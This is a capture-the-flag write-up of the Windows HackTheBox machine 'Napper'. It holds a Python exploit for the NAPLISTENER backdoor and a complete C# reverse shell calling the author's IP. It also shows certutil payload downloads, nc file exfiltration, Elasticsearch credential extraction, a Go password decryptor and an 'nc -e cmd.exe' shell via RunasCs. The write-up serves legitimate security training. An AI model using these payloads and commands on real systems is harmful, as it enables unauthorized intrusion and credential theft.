Napper – HackTheBox Link to heading
- OS: Windows
- Difficulty: Hard
- Platform: HackTheBox
User Link to heading
Nmap
scan shows only 3 ports open: 80
HTTP
, 443
HTTPs
, 7680
an unknown service
❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.240 -oG allPorts
Nmap scan report for 10.10.11.240
Host is up, received user-set (0.18s latency).
Scanned at 2024-04-26 17:43:11 -04 for 27s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
443/tcp open https syn-ack ttl 127
7680/tcp open pando-pub syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.78 seconds
Raw packets sent: 131085 (5.768MB) | Rcvd: 21 (924B)
and checking their versions:
❯ sudo nmap -sVC -p80,443,7680 10.10.11.240 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-26 17:44 -04
Nmap scan report for 10.10.11.240
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://app.napper.htb
|_http-server-header: Microsoft-IIS/10.0
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-title: Research Blog | Home
| tls-alpn:
|_ http/1.1
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after: 2033-06-04T14:58:55
|_http-generator: Hugo 0.112.3
|_ssl-date: 2024-04-26T21:45:22+00:00; +4s from scanner time.
|_http-server-header: Microsoft-IIS/10.0
7680/tcp open pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 3s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.24 seconds
From the scan I see that site connections to port 80
redirects to app.napper.htb
. So I add that domain, and also napper.htb
, to my /etc/hosts
file:
❯ sudo echo '10.10.11.240 napper.htb app.napper.htb' >> /etc/hosts
After adding the domain to /etc/hosts
file, if we visit https://app.napper.htb
we can see a kind of a blog page:
The site presents a lot of info about Reverse Engineering
, so it might be a hint about what we will have to do later.
In this site there are a lot of explanations about how to create your own SSL
certificate using Powershell
. One of the post named Enabling Basic Authentication on IIS Using PowerShell: A Step-by-Step Guide
(located at the second page of the blog) is interesting. There we have a lot of info:
At step 6 of this post, there is an info for a default username and password:
that says:
New-LocalUser -Name "example" -Password (ConvertTo-SecureString -String "ExamplePassword" -AsPlainText -Force)
so we have some default credentials example:ExamplePassword
.
Analyzing the other posts does not show more relevant data.
At this point I decide to check for vhosts
using ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://napper.htb/ -H 'Host: FUZZ.napper.htb' -fl 187
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://napper.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.napper.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 187
________________________________________________
internal [Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 419ms]
:: Progress: [4989/4989] :: Job [1/1] :: 127 req/sec :: Duration: [0:00:36] :: Errors: 0 ::
and we get a new domain: internal.napper.htb
So I add internal.napper.htb
in the same line where app.napper.htb
and napper.htb
are, so my /etc/hosts
file finally looks like:
❯ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.gunzf0x kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.240 app.napper.htb napper.htb internal.napper.htb
If we visit https://internal.napper.htb
it immediately asks for credentials:
What if this site uses the credentials set by default in the post example previously found?
I try to log in with credentials example:ExamplePassword
and they work! Once in we can see the same type of blog page, but with a different post:
Clicking on Read more
in the only post in the page shows some info about a malware from a Microsoft .NET
(C#
) sample:
The site has some notes, like “What we know so far”:
[...] HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection. [...]
and “In the sandbox I can’t find the url”:
This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.
and also some “Logs”:
* 2023-04-24: Did some more reading up. We need to look for some URL and a special parameter
* 2023-04-23: Starting the RE process. Not sure on how to approach.
* 2023-04-22: Nothing seems to be showing up in the sandbox, i just startes and stops again. Will be testing local
* 2023-04-22: Got the copy of the backdoor, running in sandbox
One of the references shared on the post is this security Elastic post. Based on the info provided on both posts, it makes a request to an endpoint /ews/MsExgHealthCheckd/
with base64
data through a parameter called sdafwe3rwe23
.
If an infected file is running, then we might able to send data to and endpoint /ews/MsExgHealthCheckd/
with parameter sdafwe3rwe23
. First, I check with Burpsuite
if this endpoint works:
and it works since it returns code 200
status.
In Elastic security post they provide a Python
script, which I adapted to:
#!/usr/bin/python3
import requests
import argparse
import warnings
import sys
import signal
### For the payload remember to create a payload first in C# from revshells.com
### then base64 encode it with "base64 -w0 ./file.exe"
### and pass that encoded payload to this script
# Ctrl+C
def signal_handler(sig, frame)->None:
print(f"[!] Ctrl+C! Exiting...")
sys.exit(0)
# Capture Ctrl+C
signal.signal(signal.SIGINT, signal_handler)
def check_if_https_in_url(url: str, port: int)->str:
"""
Check the 'target' argument the user has provided
"""
if not url.startswith('https://') and not url.startswith('http://'):
return f"https://{url}:{port}"
return f"{url}:{port}"
def parse_arguments()->argparse.Namespace:
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('-t', '--target', help='Target IP address. Example: https://10.10.10.10', required=True, type=str)
parser.add_argument('-c', '--command', help='Encoded base64 command to run on the victim machine.', type=str, required=True)
parser.add_argument('-p', '--port', help='Port exposing the service. Default: 443', type=int, default=443)
parser.add_argument('--show-warnings', action='store_false', help='Show warnings (if there are).')
args = parser.parse_args()
return args
def make_request(args: argparse.Namespace)->None:
# Set generic headers
req_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1", "Te": "trailers", "Content-Type": "application/x-www-form-urlencoded"}
# Set the target to post data
url = check_if_https_in_url(args.target, args.port)
post_url: str = f"{url}/ews/MsExgHealthCheckd/"
# Set the data that will be posted
post_data = {'sdafwe3rwe23': args.command}
print(post_data)
if len(args.command) < 100:
print(f"[+] Making a request to {post_url!r} with command {args.command!r}...")
else:
print(f"[+] Making a request to {post_url!r} with provided command...")
try:
r = requests.post(post_url, headers=req_headers, data=post_data, verify=False, allow_redirects=False)
if r.status_code != 200:
print(f"[!] Status code {r.status_code!r}...")
sys.exit(1)
except Exception as e:
print(f"[!] An error ocurred:\n{e}")
print(f"[+] Command succesfully executed...")
def main()->None:
args = parse_arguments()
# By default, ignore all warnings (related to unsecure SSL connections)
if args.show_warnings:
warnings.filterwarnings("ignore")
make_request(args)
if __name__ == "__main__":
main()
Now, if we run it using a Powershell (Base64)
payload from Reverse Shell Generator
site (https://www.revshells.com/) nothing happens.
We can try another payload from that page like C# TCP Client
. If we go there, add our attacker IP address, listening port and select CMD
as the shell type we have a code like:
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient("10.10.16.6", 443))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
where 10.10.16.6
is my attacker IP and 443
is the port I will start listening with netcat
However, this code by itself will not work. We have to modify this code changing 2 things:
- We have to create a
namespace
(a container used to organize code elements inC#
such as classes, structs, interfaces,etc) with the same name of the file itself. So, for example, if we call ournamespace
likepayload
our file should bepayload.cs
- Add a
Run
class to the code.
Adding these both modifications to the original payload code creates a new file, which I will call payload.cs
as:
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace payload
{
public class Run
{
static StreamWriter streamWriter;
public Run()
{
using(TcpClient client = new TcpClient("10.10.16.6", 443))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
public static void Main(string[] args)
{
new Run();
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
To compile this .cs
file we will use Mono C# Compiler
(MCS
) in our attacker machine. First install it with:
❯ sudo apt install mono-devel -y
Then compile the payload.cs
file running:
❯ mcs -out:payload.exe payload.cs
Now, we can pass this binary to text. Since the parameter sdafwe3rwe23
from the detected endpoint receives base64
code, we can pass the binary to base64
:
❯ base64 -w0 payload.exe
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAAAOAAAgELAQgAAAoAAAAGAAAAAAAAfigAAAAgAAAAQAAAAAB<SNIP>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Finally, I start a netcat
listener on port 443
and pass this payload as --command
to my modified Python
script:
❯ python3 naplistener_exploit.py -t https://napper.htb -c 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAAAOAAAgELAQgA<SNIP>AAAAAAAAAAAAA'
and in my netcat
listener I get a shell as ruben
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.240] 50716
Microsoft Windows [Version 10.0.19045.3636]
(c) Microsoft Corporation. All rights reserved.
whoami
C:\Windows\system32>whoami
napper\ruben
where we can get the flag at C:\Users\ruben\Desktop\
directory
NT Authority/System - Administrator Link to heading
Using systeminfo
shows:
C:\Temp\www\internal\content\posts\internal-laps-alpha>systeminfo | findstr "System OS"
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
System Boot Time: 4/26/2024, 2:40:20 PM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
BIOS Version: VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020
System Directory: C:\Windows\system32
System Locale: en-us;English (United States)
so it is a Windows 10
with 64-bits
architecture.
To start with, I will transfer Winpeas
to the victim machine. For this I download winPEASx64.exe
from its official repository. Once downloaded, I start a Python
HTTP
server on port 8081
where this file is located:
❯ python3 -m http.server 8081
and in the victim machine I use certutil
to download it at C:\Users\Public\Downloads
directory to avoid permission issues:
C:\Users\Public\Downloads>certutil.exe -urlcache -split -f http://10.10.16.6:8081/winpeas.exe .\winpeas.exe
**** Online ****
000000 ...
246e00
Once downloaded I run it:
C:\Users\Public\Downloads>.\winpeas.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
<SNIP>
File Permissions "C:\Temp\www\internal\content\posts\internal-laps-alpha\a.exe": Authenticated Users [WriteData/CreateFiles]
<SNIP>
there is a directory at C:\Temp\www\internal\content\posts\interal-laps-alpha\
that allows us to write and read files.
Visiting this directory and seeing its content shows a .env
file:
C:\Temp\www\internal\content\posts\internal-laps-alpha>dir
Volume in drive C has no label.
Volume Serial Number is CB08-11BF
Directory of C:\Temp\www\internal\content\posts\internal-laps-alpha
06/09/2023 12:28 AM <DIR> .
06/09/2023 12:28 AM <DIR> ..
06/09/2023 12:28 AM 82 .env
06/09/2023 12:20 AM 12,697,088 a.exe
2 File(s) 12,697,170 bytes
2 Dir(s) 4,596,809,728 bytes free
and checking its content:
C:\Temp\www\internal\content\posts\internal-laps-alpha>type C:\Temp\www\internal\content\posts\internal-laps-alpha\.env
ELASTICUSER=user
ELASTICPASS=DumpPassword\$Here
ELASTICURI=https://127.0.0.1:9200
I decide to analyze the file a.exe
since it was in the same directory as .env
file. To transfer this file I decide to pass nc64.exe
(netcat
for Windows
) using certutil
after starting a Python
HTTP
server on my local machine on port 8081
:
C:\Temp\www\internal\content\posts\internal-laps-alpha>certutil.exe -urlcache -split -f http://10.10.16.6:8081/nc64.exe C:\Users\Public\Downloads\nc.exe
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
Once the netcat
binary for Windows
has been transferred, on my local machine I start a listener on port 444
and save all the output as a.exe
:
❯ nc -lvnp 444 > a.exe
In the target machine I run:
C:\Users\Public\Downloads>.\nc.exe 10.10.16.6 444 < C:\Temp\www\internal\content\posts\internal-laps-alpha\a.exe
and I get a connection on my machine:
❯ nc -lvnp 444 > a.exe
listening on [any] 444 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.240] 50788
After a couple of minutes I kill this process with Ctrl+C
on my machine and check that the file has been transferred. I also check md5sum
hash to verify that files are the same. In my machine I run:
❯ md5sum a.exe
48d1065d3d1b2920f530117e3389ef1a a.exe
and in target machine I run:
C:\Users\Public\Downloads>certutil -hashfile C:\Temp\www\internal\content\posts\internal-laps-alpha\a.exe MD5
MD5 hash of C:\Temp\www\internal\content\posts\internal-laps-alpha\a.exe:
48d1065d3d1b2920f530117e3389ef1a
CertUtil: -hashfile command completed successfully.
where I see that both hashes are the same, so the file has been transferred successfully.
To analyze this with Ghidra
we will have to install a Go
binary decompiler, since this file is written in Go
programming language. For that we can download this extension (for your current Ghidra version), open Ghidra
and then go to File -> Install Extensions -> Add Extensions
and select the downloaded .zip
file. So we can now analyze this file.
After analyzing the file, it is getting the credentials from .env
for a user elastic
:
and setting a password for a user backup
:
But I was not able to get the password itself for this user. So after some frustration I decide to analyze the elasticsearch
directory installed at the machine
C:\Windows\system32>cd C:\Program Files\
dir
C:\Program Files>dir
Volume in drive C has no label.
Volume Serial Number is CB08-11BF
Directory of C:\Program Files
10/29/2023 10:43 AM <DIR> .
10/29/2023 10:43 AM <DIR> ..
06/07/2023 06:39 AM <DIR> Common Files
06/08/2023 03:20 AM <DIR> elasticsearch-8.8.0
11/07/2023 07:27 AM <DIR> Internet Explorer
11/07/2023 06:47 AM <DIR> Microsoft Update Health Tools
12/07/2019 02:14 AM <DIR> ModifiableWindowsApps
10/29/2023 10:00 AM <DIR> Reference Assemblies
10/29/2023 10:43 AM <DIR> RUXIM
06/07/2023 06:40 AM <DIR> VMware
11/07/2023 07:27 AM <DIR> Windows Defender
11/07/2023 07:27 AM <DIR> Windows Defender Advanced Threat Protection
11/07/2023 07:27 AM <DIR> Windows Mail
12/07/2019 02:54 AM <DIR> Windows Multimedia Platform
12/07/2019 02:50 AM <DIR> Windows NT
11/07/2023 07:27 AM <DIR> Windows Photo Viewer
12/07/2019 02:54 AM <DIR> Windows Portable Devices
12/07/2019 02:31 AM <DIR> Windows Security
12/07/2019 02:31 AM <DIR> WindowsPowerShell
0 File(s) 0 bytes
19 Dir(s) 4,592,324,608 bytes free
So there’s an elasticsearch-8.8.0
directory. After looking all the directories I finally find the directory C:\Program Files\elasticsearch-8.8.0\data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index
that has some weird files on it:
C:\Program Files\elasticsearch-8.8.0\data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index>dir
Volume in drive C has no label.
Volume Serial Number is CB08-11BF
Directory of C:\Program Files\elasticsearch-8.8.0\data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index
04/26/2024 08:41 PM <DIR> .
04/26/2024 08:41 PM <DIR> ..
04/26/2024 08:41 PM 479 segments_8n
06/08/2023 03:20 AM 0 write.lock
04/26/2024 08:36 PM 575 _ny.cfe
04/26/2024 08:36 PM 11,412 _ny.cfs
04/26/2024 08:36 PM 364 _ny.si
04/26/2024 08:41 PM 3,349 _ny_1.fnm
04/26/2024 08:41 PM 87 _ny_1_Lucene90_0.dvd
04/26/2024 08:41 PM 160 _ny_1_Lucene90_0.dvm
04/26/2024 08:41 PM 575 _nz.cfe
04/26/2024 08:41 PM 5,020 _nz.cfs
04/26/2024 08:41 PM 327 _nz.si
04/26/2024 08:41 PM 575 _o1.cfe
04/26/2024 08:41 PM 11,412 _o1.cfs
04/26/2024 08:41 PM 364 _o1.si
14 File(s) 34,699 bytes
2 Dir(s) 4,591,738,880 bytes free
Based on their size, files _o1.cfs
and _ny.cfs
looks interesting. If we read them searching for pass
string into the file _o1.cfs
, it shows something interesting:
C:\Program Files\elasticsearch-8.8.0\data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index>type _o1.cfs | findstr pass
vc1^3H`YV`^\]MY≡"√&àÜêjôñµ╡°ªû≥Γ{"doc_type":"api_key","creati²on_time":1686219630330,"expir 3214 H≥_invalidated":false,dPey_ha≡Osh":"{PBKDF2}10000$EVlYHJWcRa4vrNNXnZJBZz4C+xGF0H/kwh8O8sZVIvE=$LjOO6DC1KVFxv5H8vQpqzoXANMUW85≥p1S/6EwkvdCto=","role_descriptors":{+±e_enrollment_tokenuster":["c
└:admin/xpack≤$/security/enroll/kibana"],"indices":[],"applicationSrun_a
ßmetadata":{},"kP:"rol≡%e"}},"limited_by_role_descriptors":{"_xpack_security≡cluster":["all"],"indices":[{"names":["*"],"privileges":["all≡allow_restricted_indic#≡true}],"application9Ç],"run_a
`"*"],"≤metadata":{"_reserved":true},"5└role"}},"namE≡enrollment_token_APIV≡_-iaFmogBapOk5rX4≤"ppbr","version":8080099,"metadata_flattened":null9≡or":{"principal":"_xpack_security","fu⌠ll_name":null,"email
≤metadata":{},"realm":"__attach"Z░}} reserv≤5ed-user-elasticI{"password":"oKHzjZw0EGcRxT2cux5K","enabled":true,"[≡reserved-user"}Φ
░
role-user1╪{"cluster":["monitor"],"indices":[{"names":["seed","user*"],"privileges":["read","monitor","write","index","create_index"],"allow_restricted_indices":false}],"applications":[],"run_as":[],"metadata":{},α"type":"role"}╔
user-usper║{" Éname":"us≡er","password":"$2a$≡10$YXB6/d2BeKMQEsRwO≡c02AeM4ZWhJdaKSLj2Yi≡WJmuqs3exTM0lYqW","rÇoles":["Ç1"],"ful≡l_name":null,"email"≡:null,"metadata":nul≡l,"enabled":true,"ty░pe":"user"}└(ôΦ≈ ab?╫lLucene90DocValuesMetadata<ⁿtW½ÄÿmU╠
Σmíi£
where I can see eserv≤5ed-user-elasticI{"password":"oKHzjZw0EGcRxT2cux5K","enabled":true,"[≡reserved-user"}
. So we might have a password and a user: elastic:oKHzjZw0EGcRxT2cux5K
.
If now I search for open ports inside the machine, I get more than the 3 exposed one from the initial Nmap
scan:
C:\>netstat -an | findstr "TCP" | findstr "LISTENING"
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING
TCP 0.0.0.0:61018 0.0.0.0:0 LISTENING
TCP 10.10.11.240:139 0.0.0.0:0 LISTENING
TCP 127.0.0.1:9200 0.0.0.0:0 LISTENING
TCP 127.0.0.1:9300 0.0.0.0:0 LISTENING
TCP [::]:80 [::]:0 LISTENING
TCP [::]:135 [::]:0 LISTENING
TCP [::]:443 [::]:0 LISTENING
TCP [::]:445 [::]:0 LISTENING
TCP [::]:49664 [::]:0 LISTENING
TCP [::]:49665 [::]:0 LISTENING
TCP [::]:49666 [::]:0 LISTENING
TCP [::]:49667 [::]:0 LISTENING
TCP [::]:61018 [::]:0 LISTENING
A quick googling says that Elasticsearch
runs on ports 9200
and 9300
, which is the case. So we have to find a way to reach those internal ports. For this I will pass a Chisel
binary for Windows
with certutil
as I have done previously for other binaries. Then, on my machine I run:
❯ chisel server -p 8000 --reverse
and in target machine I run:
C:\Users\Public\Downloads>.\chisel.exe client 10.10.16.6:8000 R:9200
So now if I visit https://127.0.0.1:9200
it spawns a login window, that I fill with credentials elastic:oKHzjZw0EGcRxT2cux5K
found previously.
And they work. I can see the site and some info for backup
user:
where I can see a hash and other information.
If we visit https://127.0.0.1:9200/_search
I can see a blob
variable:
I note that the blob
changes periodically, so saving it is not worth it. Apparently, it is a scripted password that constantly changes based on these values.
But we need the backup
user password. For that we can try a Go
script to decrypt the message based on the provided keys (based on this code) and try to obtain the password:
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"math/rand"
"os/exec"
"strconv"
"strings"
)
func getSeed() (int64, string, error) {
cmd := exec.Command(
"curl",
"-i", "-s", "-k", "-X", "GET",
"-H", "Host: localhost:9200",
"-H", "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"-H", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"-H", "Accept-Language: en-US,en;q=0.5",
"-H", "Accept-Encoding: gzip, deflate",
"-H", "Dnt: 1",
// This is the encoded 'oKHzjZw0EGcRxT2cux5K' found password
"-H", "Authorization: Basic ZWxhc3RpYzpvS0h6alp3MEVHY1J4VDJjdXg1Sw==",
"-H", "Upgrade-Insecure-Requests: 1",
"-H", "Sec-Fetch-Dest: document",
"-H", "Sec-Fetch-Mode: navigate",
"-H", "Sec-Fetch-Site: none",
"-H", "Sec-Fetch-User: ?1",
"-H", "Te: trailers",
"-H", "Connection: close",
"-b", "i_like_gitea=1bcfba2fb61ea525; lang=en-US",
"https://localhost:9200/_search?q=*&pretty=true",
)
output, err := cmd.CombinedOutput()
if err != nil {
return 0, "", nil
}
outputLines := strings.Split(string(output), "\n")
var seedStr string
for _, line := range outputLines {
if strings.Contains(line, "seed") && !strings.Contains(line, "index") {
seedStr = strings.TrimSpace(strings.Split(line, ":")[1])
break
}
}
seed, err := strconv.ParseInt(seedStr, 10, 64)
if err != nil {
return 0, "", nil
}
outputLines = strings.Split(string(output), "\n")
var blob string
for _, line := range outputLines {
if strings.Contains(line, "blob") {
blob = line
blob = strings.TrimSpace(strings.Split(line, ":")[1])
blob = strings.Split(blob, "\"")[1]
break
}
}
return seed, blob, nil
}
func generateKey(seed int64) []byte {
rand.Seed(seed)
key := make([]byte, 16)
for i := range key {
key[i] = byte(1 + rand.Intn(254))
}
return key
}
func decryptCFB(iv, ciphertext, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
stream := cipher.NewCFBDecrypter(block, iv)
plaintext := make([]byte, len(ciphertext))
stream.XORKeyStream(plaintext, ciphertext)
return plaintext, nil
}
func main() {
seed, encryptedBlob, _ := getSeed()
key := generateKey(seed)
decodedBlob, err := base64.URLEncoding.DecodeString(encryptedBlob)
if err != nil {
fmt.Println("Error decoding base64:", err)
return
}
iv := decodedBlob[:aes.BlockSize]
encryptedData := decodedBlob[aes.BlockSize:]
decryptedData, err := decryptCFB(iv, encryptedData, key)
if err != nil {
fmt.Println("Error decrypting data:", err)
return
}
fmt.Printf("Key: %x\n", key)
fmt.Printf("IV: %x\n", iv)
fmt.Printf("Encrypted Data: %x\n", encryptedData)
fmt.Printf("Decrypted Data: %s\n", decryptedData)
}
So this script works as follows:
- Makes an
HTTP
request using the providing credentials we have found, but the password is inbase64
. - Gets the fields for decrypting the key, as can be similar to these scripts.
Decrypted data
will be the password for the user backup
, since, as we can see, the user is present on the target machine:
C:\>net users
User accounts for \\NAPPER
-------------------------------------------------------------------------------
Administrator backup DefaultAccount
example Guest ruben
WDAGUtilityAccount
For example, if we run the script once, I can obtain:
❯ go run main.go
Key: 1c569fd87440c4de3d7cad9b6ec42853
IV: 141a38d86942b6b88f61302fcb347c4c
Encrypted Data: 170b2aa35a81a3d2c96fd7d02364647d002d3019efe6b1c0632647919d1214ba9a7d16adaa98c4fb
Decrypted Data: elmqJKWpMlVxlvXwcwGeYaPNrBIJUxDhGsdxbPUL
where, before it changes, elmqJKWpMlVxlvXwcwGeYaPNrBIJUxDhGsdxbPUL
is the password
However, we do not have any service available to use tools like Impacket
or evil-winrm
. So we can use RunasCs
(which can be downloaded from its Github repository) along with netcat
binary file we have previously uploaded to pivot to another user inside the machine. I unzip
the pre-builded file, pass RunasCs
to the target machine and save it at C:\Temp\www\internal\content\posts\internal-laps-alpha
directory with certutil
:
C:\Temp\www\internal\content\posts\internal-laps-alpha>certutil.exe -urlcache -split -f http://10.10.16.6:8081/RunasCs.exe C:\Temp\www\internal\content\posts\internal-laps-alpha\runascs.exe
**** Online ****
0000 ...
ca00
CertUtil: -URLCache command completed successfully.
Finally, I run RunasCs
along with netcat
binary, after starting listening with netcat
on port 443
on my machine, with:
C:\Temp\www\internal\content\posts\internal-laps-alpha>runascs.exe backup elmqJKWpMlVxlvXwcwGeYaPNrBIJUxDhGsdxbPUL "C:\Users\Public\Downloads\nc.exe 10.10.16.6 443 -e C:\Windows\System32\cmd.exe" -t 10 --bypass-uac
and I get a shell as backup
user, who has full privileges (so it is an equivalent to Administrator
):
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.240] 50953
Microsoft Windows [Version 10.0.19045.3636]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
napper\backup
C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
